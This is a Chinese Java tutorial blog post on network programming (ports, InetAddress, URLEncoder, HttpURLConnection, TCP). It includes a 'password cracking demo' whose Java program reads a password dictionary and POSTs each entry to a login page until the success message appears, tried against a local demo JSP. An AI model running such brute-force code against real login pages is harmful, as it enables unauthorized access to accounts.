Java学习系列(十六)Java面向对象之基于TCP协议的网络通信

TCP/IP的网络分层模型：应用层(HTTP/FTP/SMTP/POPS...)，传输层(TCP协议)，网络层(IP协议,负责为网络上节点分配唯一标识)，物理层+数据链路层)。

IP地址用于标识网络中的一个通信实体，通常这个实体可以是一台主机，也可以是一台打印机，或者是路由器的某一个端口。而基于IP协议网络中传输的数据包，都必须使用IP地址来进行标识。

IP地址与端口：IP地址就是为网络上的每个物理节点(广义的)分配一个“门牌号”。通过IP地址，可以保证网络上的数据包能正确地找到每个物理节点，但每个物理节点上可能有多个应用程序在同时对外提供服务。端口：每个应用程序在网络上通信时，占用一个端口，相当于“房间号”，端口保证了物理节点的数据包能正确找到对应的应用程序。

端口的约定：(0~65535个端口)
0~1023： 公用端口。80(HTTP)、21(FTP)、110(POP)...
1023~49152：应用程序端口。MySQL：3306；Oracle：1521
49152~65535：动态分配端口。

先了解几个常用的类：
InetAddress：此类表示互联网协议 (IP) 地址。它有两个子类：Inet4Address, Inet6Address。
InetSocketAddress：它代表了IP地址+端口号

public class Test {
	public static void main(String[] args) {
		try {
			// InetAddress代表了IP地址
			InetAddress address = InetAddress.getByAddress(new byte[] {
					(byte) 192, (byte) 168, 0, 8 });
			// 打印主机名
			System.out.println(address.getHostName());
			// 打印主机地址
			System.out.println(address.getHostAddress());
			// 测试是否可以达到该地址,有点类似于Ping
			System.out.println(address.isReachable(3000));
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

两个工具类：URLEncoder、URLDecoder。在有些场景，无法传输和存储“非西欧文字”，此时就需要用到URLEncoder。典型的像Cookie，Cookie的值就不能是中文。
举例说明1：

 

 

public class URLEncoderDeCoderUtil {
	public static void main(String[] args) {
		String str = "Java学习系列(十六)Java面向对象之基于TCP协议的网络通信";
		try {
			// 对字符进行编码
			str = URLEncoder.encode(str, "GBK");
			System.out.println(str);
			// 对字符进行解码
			System.out.println(URLDecoder.decode(str, "GBK"));
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		}
	}
}

 

URL：代表一个网络地址。
URLConnection：代表与网络地址的连接。
HttpURLConnection：基于HTTP协议的网络连接。

举例说明2：

 

public class Test {
	public static void main(String[] args) {
		try {
			URL url = new URL("http://localhost:8080/test/index.jsp");
			System.out.println("协议：" + url.getProtocol());
			System.out.println("主机：" + url.getHost());
			System.out.println("端口：" + url.getPort());
			System.out.println("资源文件：" + url.getFile());
			// 建立于远程URL地址之间的连接,
			// 当我们的协议用的是http时,打开的连接实际上就是HttpURLConnection
			HttpURLConnection conn = (HttpURLConnection) url.openConnection();
			conn.connect();// 建立于远程服务器的连接
			BufferedReader br = new BufferedReader(new InputStreamReader(
					conn.getInputStream()));
			String line = null;
			// 读取页面资源
			while ((line = br.readLine()) != null) {
				System.out.println(line);
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
}

破解密码简单演示：

1)准备密码字典:password.txt (文件每行随便写上几个密码就行)
2)登录页面片段：

 

</pre><pre code_snippet_id="81273" snippet_file_name="blog_20131125_4_7753967" name="code" class="html"><form action="loginPro.jsp" method="post">
			用户名：
			<input name="username" type="text" />
			密码：
			<input name="passwd" type="password" />
			<br />
			<input type="submit" value="登录" />
			<input type="reset" value="取消" />
			<br />
		</form>

3)登录处理页面片段：

 

 

<%
			String username = request.getParameter("username");
			String passwd = request.getParameter("passwd");
			if (username.equals("liu") && passwd.equals("123")) {
				out.print("登录成功！");
			} else {
				out.print("登录失败！");
			}
		%>

4).程序实现代码：

 

【注意】连接要设置相应属性。可以打开Google浏览器进入处理页面后，按CTRL+SHIFT+j，将看到：

j

 

public class Test {
	public static void main(String[] args) {
		try {
			URL url = new URL("http://localhost:8888/test/loginPro.jsp");
			BufferedReader br = new BufferedReader(new InputStreamReader(
					new FileInputStream("f:/password.txt")));
			String passwd = null;
			while ((passwd = br.readLine()) != null) {
				// 每次读取一行(字典文件),创建一次连接
				HttpURLConnection conn = (HttpURLConnection) url
						.openConnection();
				conn
						.setRequestProperty("Accept",
								"application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
				conn.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");
				conn.setRequestProperty("Connection", "keep-alive");
				conn.setDoInput(true);
				conn.setDoOutput(true);
				// 打开远程输出流,准备向服务器发送请求参数
				PrintStream ps = new PrintStream(conn.getOutputStream());
				ps.print("username=liu&passwd=" + passwd);
				ps.flush();
				// 从远程服务器读取响应
				BufferedReader br2 = new BufferedReader(new InputStreamReader(
						conn.getInputStream()));
				String line = null;
				while ((line = br2.readLine()) != null) {
					if (line.contains("登录成功")) {
						System.out.println("正确的密码为：" + passwd);
					}
				}
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
}

TCP协议：它是一种可靠的端对端的协议。这是因为它为两台计算机之间的连接起了重要的作用：当一台计算机需要与另一台计算机连接时，TCP协议会让它们建立一个连接 用于发送和接收数据的虚拟链路。TCP协议保证了数据包在传送中准备无误。

 

TCP协议使用重发机制：当一个通信实体发送一个消息给另一个通信实体后，需要收到另一个通信实体确认信息，如果没有收到另一个通信实体的确认信息，则会再次重发刚才发送的信息。通过这个重发机制，TCP协议向应用程序提供可靠的通信连接，使它能够自动适应网上的各种变化，即使在Internet暂时出现阻塞的情况下，TCP也能够保证通信的可靠。